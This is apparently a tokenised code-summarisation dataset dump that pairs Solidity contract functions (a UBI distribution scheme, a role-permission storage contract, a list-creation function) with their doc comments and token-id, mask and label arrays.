654,
39,
3462,
29637,
5779,
288,
654,
39,
27,
5340,
29637,
5779,
471,
1308,
288,
29637,
14023,
5745,
20092,
18,
389,
5268,
3241,
331,
24,
18,
25,
6315,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
5831,
21602,
6366,
288,
203,
565,
871,
27687,
5033,
12,
2867,
8808,
11158,
639,
16,
1758,
8808,
628,
9586,
16,
1758,
8808,
358,
9586,
1769,
203,
203,
565,
871,
27687,
29637,
5033,
12,
2867,
8808,
7152,
16,
2254,
5034,
2416,
13937,
16,
2254,
5034,
394,
13937,
1769,
203,
203,
565,
445,
11031,
6366,
12,
2867,
2236,
13,
3903,
1476,
1135,
261,
11890,
5034,
1769,
203,
203,
565,
445,
1689,
689,
29637,
12,
2867,
2236,
16,
2254,
5034,
1203,
1854,
13,
3903,
1476,
1135,
261,
11890,
5034,
1769,
203,
203,
565,
445,
1689,
689,
5269,
3088,
1283,
12,
11890,
5034,
1203,
1854,
13,
3903,
1476,
1135,
261,
11890,
5034,
1769,
203,
203,
565,
445,
22310,
12,
2867,
2236,
13,
3903,
1476,
1135,
261,
2867,
1769,
203,
203,
565,
445,
7152,
12,
2867,
7152,
73,
13,
3903,
31,
203,
203,
565,
445,
7152,
858,
8267,
12,
203,
3639,
1758,
7152,
73,
16,
203,
3639,
2254,
5034,
7448,
16,
203,
3639,
2254,
5034,
10839,
16,
203,
3639,
2254,
28,
331,
16,
203,
3639,
1731,
1578,
436,
16,
203,
3639,
1731,
1578,
272,
203,
565,
262,
3903,
31,
203,
203,
683,
9454,
18035,
560,
3602,
20,
18,
28,
18,
20,
31,
203,
97,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/42161/0x3C674fDAC8b33DDCfFCe5D1C265A43B0E4B53084/sources/access.sol | cannot realistically overflow on human timescales | function createList(address[] calldata accounts, bytes32 merkleRoot) public virtual {
uint256 listId = listCount++;
operatorOf[listId] = msg.sender;
if (accounts.length != 0) {
unchecked {
for (uint256 i; i < accounts.length; i++) {
_listAccount(listId, accounts[i], true);
}
}
emit ListCreated(listId, msg.sender);
}
if (merkleRoot != '') {
merkleRoots[listId] = merkleRoot;
emit MerkleRootSet(listId, merkleRoot);
}
}
| 16,299,068 | [
1,
12892,
2863,
5846,
1230,
9391,
603,
8672,
1658,
742,
5408,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
752,
682,
12,
2867,
8526,
745,
892,
9484,
16,
1731,
1578,
30235,
2375,
13,
1071,
5024,
288,
203,
3639,
2254,
5034,
30790,
273,
666,
1380,
9904,
31,
203,
203,
3639,
3726,
951,
63,
1098,
548,
65,
273,
1234,
18,
15330,
31,
203,
203,
3639,
309,
261,
13739,
18,
2469,
480,
374,
13,
288,
203,
5411,
22893,
288,
203,
7734,
364,
261,
11890,
5034,
277,
31,
277,
411,
9484,
18,
2469,
31,
277,
27245,
288,
203,
10792,
389,
1098,
3032,
12,
1098,
548,
16,
9484,
63,
77,
6487,
638,
1769,
203,
7734,
289,
203,
5411,
289,
203,
203,
5411,
3626,
987,
6119,
12,
1098,
548,
16,
1234,
18,
15330,
1769,
203,
3639,
289,
203,
203,
3639,
309,
261,
6592,
15609,
2375,
480,
28707,
288,
203,
5411,
30235,
17540,
63,
1098,
548,
65,
273,
30235,
2375,
31,
203,
203,
5411,
3626,
31827,
2375,
694,
12,
1098,
548,
16,
30235,
2375,
1769,
203,
3639,
289,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity >0.5.4;
import "../../contracts/dao/schemes/UBI.sol";
import "./FirstClaimPool.sol";
import "openzeppelin-solidity/contracts/math/SafeMath.sol";
/* @title Dynamic amount-per-day UBI scheme allowing claim once a day
*/
contract UBIScheme is AbstractUBI {
using SafeMath for uint256;
// Result of distribution formula
// calculated each day
uint256 public dailyUbi = 0;
// Limits the gas for each iteration at `fishMulti`
uint256 public iterationGasLimit = 150000;
// Tracks the active users number. It changes when
// a new user claim for the first time or when a user
// has been fished
uint256 public activeUsersCount = 0;
// Tracks the last withdrawal day of funds from avatar.
// Withdraw occures on the first daily claim or the
// first daily fish only
uint256 public lastWithdrawDay = 0;
// How long can a user be inactive.
// After those days the user can be fished
// (see `fish` notes)
uint256 public maxInactiveDays;
// Whether to withdraw GD from avatar
// before daily ubi calculation
bool public shouldWithdrawFromDAO;
//number of days of each UBI pool cycle
//dailyPool = Pool/cycleLength
uint256 public cycleLength = 1;
//the amount of G$ UBI pool for each day in the cycle to be divided by active users
uint256 public dailyCyclePool;
//timestamp of current cycle start
uint256 public startOfCycle;
//should be 0 for starters so distributionFormula detects new cycle on first day claim
uint256 public currentCycleLength = 0;
// A pool of GD to give to activated users,
// since they will enter the UBI pool
// calculations only in the next day,
// meaning they can only claim in the next
// day
FirstClaimPool public firstClaimPool;
struct Funds {
// marks if the funds for a specific day has
// withdrawn from avatar
bool hasWithdrawn;
// total GD held after withdrawing
uint256 openAmount;
}
// Tracks the daily withdraws and the actual amount
// at the begining of a trading day
mapping(uint256 => Funds) public dailyUBIHistory;
// Marks users that have been fished to avoid
// double fishing
mapping(address => bool) public fishedUsersAddresses;
// Total claims per user stat
mapping(address => uint256) public totalClaimsPerUser;
// Emits when a withdraw has been succeded
event WithdrawFromDao(uint256 prevBalance, uint256 newBalance);
// Emits when a user is activated
event ActivatedUser(address indexed account);
// Emits when a fish has been succeded
event InactiveUserFished(
address indexed caller,
address indexed fished_account,
uint256 claimAmount
);
// Emits when finishing a `multi fish` execution.
// Indicates the number of users from the given
// array who actually been fished. it might not
// be finished going over all the array if there
// no gas left.
event TotalFished(uint256 total);
// Emits when daily ubi is calculated
event UBICalculated(uint256 day, uint256 dailyUbi, uint256 blockNumber);
event UBICycleCalculated(uint256 day, uint256 pool, uint256 cycleLength, uint256 dailyUBIPool);
/**
* @dev Constructor
* @param _avatar The avatar of the DAO
* @param _identity The identity contract
* @param _firstClaimPool A pool for GD to give out to activated users
* @param _periodStart The time from when the contract can start
* @param _periodEnd The time from when the contract can end
* @param _maxInactiveDays Days of grace without claiming request
*/
constructor(
Avatar _avatar,
Identity _identity,
FirstClaimPool _firstClaimPool,
uint256 _periodStart,
uint256 _periodEnd,
uint256 _maxInactiveDays,
uint256 _cycleLength
) public AbstractUBI(_avatar, _identity, 0, _periodStart, _periodEnd) {
require(_maxInactiveDays > 0, "Max inactive days cannot be zero");
maxInactiveDays = _maxInactiveDays;
firstClaimPool = _firstClaimPool;
shouldWithdrawFromDAO = false;
cycleLength = _cycleLength;
}
/**
* @dev On a daily basis UBIScheme withdraws tokens from GoodDao.
* Emits event with caller address and last day balance and the
* updated balance.
*/
function _withdrawFromDao() internal {
DAOToken token = avatar.nativeToken();
uint256 prevBalance = token.balanceOf(address(this));
uint256 toWithdraw = token.balanceOf(address(avatar));
controller.genericCall(
address(token),
abi.encodeWithSignature(
"transfer(address,uint256)",
address(this),
toWithdraw
),
avatar,
0
);
uint256 newBalance = prevBalance.add(toWithdraw);
require(newBalance == token.balanceOf(address(this)), "DAO transfer has failed");
emit WithdrawFromDao(prevBalance, newBalance);
}
/**
* @dev sets the ubi calculation cycle length
* @param _newLength the new length in days
*/
function setCycleLength(uint256 _newLength) public onlyAvatar {
require(_newLength>0, "cycle must be at least 1 day long");
cycleLength = _newLength;
}
/**
* @dev returns the day count since start of current cycle
*/
function currentDayInCycle() public view returns(uint256) {
return now.sub(startOfCycle).div(1 days);
}
/**
* @dev The claim calculation formula. Divided the daily balance with
* the sum of the active users.
* @return The amount of GoodDollar the user can claim
*/
function distributionFormula(uint256 reserve, address user)
internal
returns (uint256)
{
setDay();
// once in 24 hrs calculate distribution
if (currentDay != lastWithdrawDay) {
DAOToken token = avatar.nativeToken();
uint256 currentBalance = token.balanceOf(address(this));
if(currentDayInCycle() >= currentCycleLength) //start of cycle or first time
{
if (shouldWithdrawFromDAO) _withdrawFromDao();
currentBalance = token.balanceOf(address(this));
dailyCyclePool = currentBalance.div(cycleLength);
currentCycleLength = cycleLength;
startOfCycle = now.div(1 hours) * 1 hours; //start at a round hour
emit UBICycleCalculated(currentDay, currentBalance, cycleLength, dailyCyclePool);
}
lastWithdrawDay = currentDay;
Funds storage funds = dailyUBIHistory[currentDay];
funds.hasWithdrawn = shouldWithdrawFromDAO;
funds.openAmount = currentBalance;
if (activeUsersCount > 0) {
dailyUbi = dailyCyclePool.div(activeUsersCount);
}
emit UBICalculated(currentDay, dailyUbi, block.number);
}
return dailyUbi;
}
/**
*@dev Sets the currentDay variable to amount of days
* since start of contract.
*/
function setDay() public {
currentDay = (now.sub(periodStart)).div(1 days);
}
/**
* @dev Checks if the given account has claimed today
* @param account to check
* @return True if the given user has already claimed today
*/
function hasClaimed(address account) public view returns (bool) {
return claimDay[currentDay].hasClaimed[account];
}
/**
* @dev Checks if the given account has been owned by a registered user.
* @param _account to check
* @return True for an existing user. False for a new user
*/
function isNotNewUser(address _account) public view returns (bool) {
uint256 lastClaimed = lastClaimed[_account];
if (lastClaimed > 0) {
// the sender is not registered
return true;
}
return false;
}
/**
* @dev Checks weather the given address is owned by an active user.
* A registered user is a user that claimed at least one time. An
* active user is a user that claimed at least one time but claimed
* at least one time in the last `maxInactiveDays` days. A user that
* has not claimed for `maxInactiveDays` is an inactive user.
* @param _account to check
* @return True for active user
*/
function isActiveUser(address _account) public view returns (bool) {
uint256 lastClaimed = lastClaimed[_account];
if (isNotNewUser(_account)) {
uint256 daysSinceLastClaim = now.sub(lastClaimed).div(1 days);
if (daysSinceLastClaim < maxInactiveDays) {
// active user
return true;
}
}
return false;
}
/**
* @dev Transfers `amount` DAO tokens to `account`. Updates stats
* and emits an event in case of claimed.
* In case that `isFirstTime` is true, it awards the user.
* @param _account the account which recieves the funds
* @param _amount the amount to transfer
* @param _isClaimed true for claimed
* @param _isFirstTime true for new user or fished user
*/
function _transferTokens(
address _account,
uint256 _amount,
bool _isClaimed,
bool _isFirstTime
) private requireActive {
// updates the stats
Day storage day = claimDay[currentDay];
day.amountOfClaimers = day.amountOfClaimers.add(1);
day.hasClaimed[_account] = true;
lastClaimed[_account] = now;
totalClaimsPerUser[_account].add(1);
// awards a new user or a fished user
if (_isFirstTime) {
uint256 awardAmount = firstClaimPool.awardUser(_account);
day.claimAmount = day.claimAmount.add(awardAmount);
emit UBIClaimed(_account, awardAmount);
} else {
day.claimAmount = day.claimAmount.add(_amount);
GoodDollar token = GoodDollar(address(avatar.nativeToken()));
require(token.transfer(_account, _amount), "claim transfer failed");
if (_isClaimed) {
emit UBIClaimed(_account, _amount);
}
}
}
/**
* @dev Checks the amount which the sender address is eligible to claim for,
* regardless if they have been whitelisted or not. In case the user is
* active, then the current day must be equal to the actual day, i.e. claim
* or fish has already been executed today.
* @return The amount of GD tokens the address can claim.
*/
function checkEntitlement() public view requireActive returns (uint256) {
// new user or inactive should recieve the first claim reward
if (!isNotNewUser(msg.sender) || fishedUsersAddresses[msg.sender]) {
return firstClaimPool.claimAmount();
}
// current day has already been updated which means
// that the dailyUbi has been updated
if (currentDay == (now.sub(periodStart)).div(1 days)) {
return hasClaimed(msg.sender) ? 0 : dailyUbi;
}
// the current day has not updated yet
DAOToken token = avatar.nativeToken();
uint256 currentBalance = token.balanceOf(address(this));
return currentBalance.div(activeUsersCount);
}
/**
* @dev Function for claiming UBI. Requires contract to be active. Calls distributionFormula,
* calculats the amount the account can claims, and transfers the amount to the account.
* Emits the address of account and amount claimed.
* @param _account The claimer account
* @return A bool indicating if UBI was claimed
*/
function _claim(address _account) internal returns (bool) {
// calculats the formula up today ie on day 0 there are no active users, on day 1 any user
// (new or active) will trigger the calculation with the active users count of the day before
// and so on. the new or inactive users that will become active today, will not take into account
// within the calculation.
uint256 newDistribution = distributionFormula(0, _account);
// active user which has not claimed today yet, ie user last claimed < today
if (
isNotNewUser(_account) &&
!fishedUsersAddresses[_account] &&
!hasClaimed(_account)
) {
_transferTokens(_account, newDistribution, true, false);
return true;
} else if (!isNotNewUser(_account) || fishedUsersAddresses[_account]) {
// a unregistered or fished user
activeUsersCount = activeUsersCount.add(1);
fishedUsersAddresses[_account] = false;
_transferTokens(_account, 0, false, true);
emit ActivatedUser(_account);
return true;
}
return false;
}
/**
* @dev Function for claiming UBI. Requires contract to be active and claimer to be whitelisted.
* Calls distributionFormula, calculats the amount the caller can claim, and transfers the amount
* to the caller. Emits the address of caller and amount claimed.
* @return A bool indicating if UBI was claimed
*/
function claim() public requireActive onlyWhitelisted returns (bool) {
return _claim(msg.sender);
}
/**
* @dev In order to update users from active to inactive, we give out incentive to people
* to update the status of inactive users, this action is called "Fishing". Anyone can
* send a tx to the contract to mark inactive users. The "fisherman" receives a reward
* equal to the daily UBI (ie instead of the “fished” user). User that “last claimed” > 14
* can be "fished" and made inactive (reduces active users count by one). Requires
* contract to be active.
* @param _account to fish
* @return A bool indicating if UBI was fished
*/
function fish(address _account) public requireActive returns (bool) {
// checking if the account exists. that's been done because that
// will prevent trying to fish non-existence accounts in the system
require(
isNotNewUser(_account) && !isActiveUser(_account),
"is not an inactive user"
);
require(!fishedUsersAddresses[_account], "already fished");
fishedUsersAddresses[_account] = true; // marking the account as fished so it won't refish
// making sure that the calculation will be with the correct number of active users in case
// that the fisher is the first to make the calculation today
uint256 newDistribution = distributionFormula(0, _account);
activeUsersCount = activeUsersCount.sub(1);
_transferTokens(msg.sender, newDistribution, false, false);
emit InactiveUserFished(msg.sender, _account, newDistribution);
return true;
}
/**
* @dev executes `fish` with multiple addresses. emits the number of users from the given
* array who actually been tried being fished.
* @param _accounts to fish
* @return A bool indicating if all the UBIs were fished
*/
function fishMulti(address[] memory _accounts)
public
requireActive
returns (uint256)
{
for (uint256 i = 0; i < _accounts.length; ++i) {
if (gasleft() < iterationGasLimit) {
emit TotalFished(i);
return i;
}
if (
isNotNewUser(_accounts[i]) &&
!isActiveUser(_accounts[i]) &&
!fishedUsersAddresses[_accounts[i]]
) {
require(fish(_accounts[i]), "fish has failed");
}
}
emit TotalFished(_accounts.length);
return _accounts.length;
}
/**
* @dev Start function. Adds this contract to identity as a feeless scheme and
* adds permissions to FirstClaimPool
* Can only be called if scheme is registered
*/
function start() public onlyRegistered {
super.start();
periodStart = now.div(1 days) * 1 days + 12 hours; //set start time to GMT noon
startOfCycle = periodStart;
controller.genericCall(
address(firstClaimPool),
abi.encodeWithSignature("setUBIScheme(address)", address(this)),
avatar,
0
);
}
/**
* @dev Sets whether to also withdraw GD from avatar for UBI
* @param _shouldWithdraw boolean if to withdraw
*/
function setShouldWithdrawFromDAO(bool _shouldWithdraw) public onlyAvatar {
shouldWithdrawFromDAO = _shouldWithdraw;
}
function end() public onlyAvatar {
super.end();
}
}
| Emits when a user is activated | event ActivatedUser(address indexed account);
| 13,119,319 | [
1,
1514,
1282,
1347,
279,
729,
353,
14892,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
871,
26939,
690,
1299,
12,
2867,
8808,
2236,
1769,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.5.0;
import "./BaseStorage.sol";
import "../interfaces/IPMNetworkRolesStorage.sol";
/**
* @title Permission module network roles storage
*/
contract PMNetworkRolesStorage is IPMNetworkRolesStorage, BaseStorage {
/**
* @notice Write info to the log when the new role was added to the wallet
*/
event RoleAdded(address indexed wallet, bytes32 role);
/**
* @notice Write info to the log when the role was deleted
*/
event RoleDeleted(address indexed wallet, bytes32 role);
/**
* @notice Write info to the log about ownership transfer
*/
event TransferedOwnership(address oldOwner, address newOwner);
/**
* @notice Write info to the log about new ownership transfer request
*/
event OwnershipTransferRequest(address newOwner);
/// Events emmiters. Write info about any state changes to the log.
/// Allowed only for the Permission Module.
/**
* @notice Write info to the log when the new role was added to the wallet
*/
function emitRoleAdded(address wallet, bytes32 role)
public
onlyPermissionModule(msg.sender)
{
emit RoleAdded(wallet, role);
}
/**
* @notice Write info to the log when the role was deleted
*/
function emitRoleDeleted(address wallet, bytes32 role)
public
onlyPermissionModule(msg.sender)
{
emit RoleDeleted(wallet, role);
}
/**
* @notice Write info to the log about ownership transfer
*/
function emitTransferedOwnership(address oldOwner, address newOwner)
public
onlyPermissionModule(msg.sender)
{
emit TransferedOwnership(oldOwner, newOwner);
}
/**
* @notice Emit event OwnershipTransferRequest
*/
function emitOwnershipTransferRequest(address newOwner)
public
onlyPermissionModule(msg.sender)
{
emit OwnershipTransferRequest(newOwner);
}
/// Methods which updates the storage. Allowed only for the Permission Module.
/**
* @notice Create request on the ownership transferring
* @param newOwner Address of the new owner
*/
function createRequestOnOwnershipTransfer(address newOwner)
public
onlyPermissionModule(msg.sender)
{
futureOwner = newOwner;
}
/**
* @notice Delete request on the ownership transferring
*/
function deleteRequestOnOwnershipTransfer()
public
onlyPermissionModule(msg.sender)
{
futureOwner = address(0);
}
/**
* @notice Set an address which wants transfer ownership
* @param owner An address which wants transfer ownership
*/
function setOldOwner(address owner)
public
onlyPermissionModule(msg.sender)
{
oldOwner = owner;
}
/**
* @notice Set an address which wants transfer ownership
*/
function deleteOldOwner()
public
onlyPermissionModule(msg.sender)
{
oldOwner = address(0);
}
/**
* @notice Set status of the role
* @param wallet Wallet address
* @param role Role name
* @param status Role status
*/
function setWalletRoleStatus(address wallet, bytes32 role, bool status)
public
onlyPermissionModule(msg.sender)
{
walletRoles[wallet][role] = status;
}
/**
* @notice Set wallet role to the list
* @param wallet Wallet address
* @param role Role name
* @param index Role index
*/
function setWalletRoleToTheList(address wallet, bytes32 role, uint8 index)
public
onlyPermissionModule(msg.sender)
{
listOfTheWalletRoles[wallet][index] = role;
}
/**
* @notice Delete wallet role index
* @param wallet Wallet address
* @param role Role name
*/
function deleteWalletRoleIndex(address wallet, bytes32 role)
public
onlyPermissionModule(msg.sender)
{
delete indexesOfTheWalletRoles[wallet][role];
}
/**
* @notice Delete wallet role from the list
* @param wallet Wallet address
* @param index Role index
*/
function deleteWalletRole(address wallet, uint8 index)
public
onlyPermissionModule(msg.sender)
{
delete listOfTheWalletRoles[wallet][index];
}
/**
* @notice Set wallet role index
* @param wallet Wallet address
* @param index Index
*/
function setWalletRolesIndex(address wallet, uint8 index)
public
onlyPermissionModule(msg.sender)
{
walletRolesIndex[wallet] = index;
}
/// Getters. Public methods which are allowed for anyone.
/**
* @notice Returns wallet role index in the roles list
* @param wallet Wallet address
* @param role Role name
*/
function getWalletRoleIndexInTheList(address wallet, bytes32 role) public view returns (uint8) {
return indexesOfTheWalletRoles[wallet][role];
}
/**
* @notice Returns wallet role status
* @param wallet Wallet address
* @param role Role name
*/
function getWalletRoleStatus(address wallet, bytes32 role) public view returns (bool) {
return walletRoles[wallet][role];
}
/**
* @notice Retuns wallet role index
* @param wallet Wallet address
*/
function getWalletRoleIndex(address wallet) public view returns (uint8) {
return walletRolesIndex[wallet];
}
/**
* @notice Verification of the permissions
* @param methodId Requested method
* @param sender An address which will be verified
*/
function checkPermission(
bytes4 methodId,
address sender
)
public
view
returns (bool)
{
uint8 index = walletRolesIndex[sender];
bytes32 role;
for (uint8 i = 0; i < index; i++) {
role = listOfTheWalletRoles[sender][i];
if (roleMethods[role][methodId] && roleStatus[role]) {
return true;
}
}
return false;
}
/**
* @notice Returns list of all roles of the wallet
* @param wallet Wallet address
*/
function getWalletRoles(address wallet) public view returns (bytes32[20] memory) {
return listOfTheWalletRoles[wallet];
}
/**
* @notice Get wallet role by the index
* @param wallet Wallet address
* @param index Index of the role
*/
function getWalletRoleFromTheList(address wallet, uint8 index) public view returns (bytes32) {
return listOfTheWalletRoles[wallet][index];
}
/**
* @notice Returns address of the feature network owner
*/
function getFutureOwner() public view returns (address) {
return futureOwner;
}
/**
* @notice Returns address which wants transfer ownership
*/
function getOldOwner() public view returns (address) {
return oldOwner;
}
} | * @notice Returns address of the feature network owner/ | function getFutureOwner() public view returns (address) {
return futureOwner;
}
| 1,782,374 | [
1,
1356,
1758,
434,
326,
2572,
2483,
3410,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
2812,
2241,
5541,
1435,
1071,
1476,
1135,
261,
2867,
13,
288,
203,
3639,
327,
3563,
5541,
31,
